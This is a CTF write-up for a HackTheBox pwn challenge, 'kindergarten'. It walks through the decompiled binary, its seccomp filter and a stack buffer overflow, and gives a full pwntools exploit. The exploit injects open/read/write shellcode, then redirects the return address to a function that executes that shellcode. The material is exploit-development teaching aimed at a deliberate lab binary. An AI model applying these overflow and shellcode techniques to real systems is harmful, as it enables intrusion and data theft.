When you set the rules, everything is under control! Or not?
Category: Pwn
Solver: Pandoron, t0bi
First let’s run checksec kindergarten
.
[*] '/home/user/htb-unictf-2020/kindergarten/kindergarten'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
This is good! No stack canary, no position independent code. This must be easy, right?
main function
undefined8 main(void)
{
size_t sVar1;
setup();
sec();
sVar1 = strlen(&kids_must_follow);
write(1,&kids_must_follow,sVar1);
read(0,ans,0x60);
kinder();
sVar1 = strlen("Have a nice day!!\n");
write(1,"Have a nice day!!\n",sVar1);
return 0;
}
setup
setups the challenge buffering for networking. No buffering is used. Everything is written as soon as possible.
void setup(void)
{
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
alarm(0x7f);
return;
}
sec
adds seccomp rules
void sec(void)
{
undefined8 uVar1;
uVar1 = seccomp_init(0);
seccomp_rule_add(uVar1,0x7fff0000,2,0); // sys_open
seccomp_rule_add(uVar1,0x7fff0000,0,0); // sys_read
seccomp_rule_add(uVar1,0x7fff0000,0x3c,0); // sys_exit
seccomp_rule_add(uVar1,0x7fff0000,1,0); // sys_write
seccomp_rule_add(uVar1,0x7fff0000,0xf,0); // sys_rt_sigreturn
seccomp_load(uVar1);
return;
}
All rules use the SCMP_ACT_ALLOW=0x7fff0000
and allow the syscalls noted as comment.
Thus we don’t have the execve
syscall and can’t get a proper shell. However we can still use open, read and write to access a flag file.
kinder
This seems to be the most interesting function. It first defines some variables and strings and have the following while loop.
while (end == 0) {
counter = counter + 1;
length = strlen(more_questions_str);
write(1,more_questions_str,length);
read(0,ans_more,4);
if (counter == 5) {
end = 1;
length = strlen(enough_questions_str);
write(1,enough_questions_str,length);
read(0,&too_small_variable,0x14c);
}
else {
if ((ans_more[0] == 'y') || (ans_more[0] == 'Y')) {
length = strlen(feel_free_str);
write(1,feel_free_str,length);
read(0,question,0x1f);
length = strlen(interesting_question_str);
write(1,interesting_question_str,length);
}
else {
end = 1;
}
}
}
We see that we can ask questions and get the same answer every time. After 5 questions, we are told
Enough questions for today class...
Well, maybe a last one and then we finish!
Then the read(0,&too_small_variable,0x14c);
is called. This reads in 0x14c = 332
bytes into our too_small_variable
that is located on the stack at -0x88
. Obviously this reads too much and we can overwrite the return pointer.
But there is another function …
kids_are_not_allowed_here
This function is interesting. It is never called.
void kids_are_not_allowed_here(void)
{
size_t __n;
__n = strlen(&kids_not_allowed_str);
write(1,&kids_not_allowed_str,__n);
(*(code *)ans)();
return;
}
It interprets the bytes the ans
pointer points to as code and executes it. This ans
array can be modified by us in the main
method.
Plan
Now that we found out that we can run some shell code that has been inserted previously into the ans
pointer, we just need to somehow call the kids_are_not_allowed_here
function. We will do this by overflowing the toosmallvariable
in kinder
and by overwriting its return pointer (return address offset found using binary ninja disassembler) to point exactly to kids_are_not_allowed_here
. The shell code will then be running a SYS_open
sys call to open ./flag.txt
. We will then read its contents into some free address space (we simply used the stack here) using the SYS_read
sys call. Finally we will print by calling SYS_write
on the file descriptor of standard_in (1). All of this is demonstrated in the following exploit code:
from pwn import *
context.update(arch='x86_64', os='linux')
sh = shellcraft.pushstr("./flag.txt")
sh += shellcraft.syscall('SYS_open', 'rsp', 'O_RDONLY', 0)
sh += shellcraft.syscall('SYS_read', "rax", "rsp", 32)
sh += shellcraft.syscall('SYS_write', 1, "rsp", 32)
SHELLCODE = asm(sh)
print(len(SHELLCODE))
EBP = "\x00\x00\x00\x00\x00\x00\x00\x00" # old ebp, does not matter
RET_ADDR = "\x00\x40\x09\x0C"[::-1] # address of kids_are_not_allowed_here
question_0 = "A" * 0x1f
question_1 = "B" * 0x1f
question_2 = "C" * 0x1f
question_3 = "D" * 0x1f
question_4 = "E" * 0x80 + EBP + RET_ADDR
shell = remote("docker.hackthebox.eu", 30557)
# is everything clear?
shell.send(SHELLCODE)
# question 1
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_0)
# question 2
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_1)
# question 3
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_2)
# question 4
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_3)
# question 5
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_4)
shell.interactive()
The result yields us a fine flag:
HTB{2_c00l_4_$cH0oL !! }
Proof screenshot: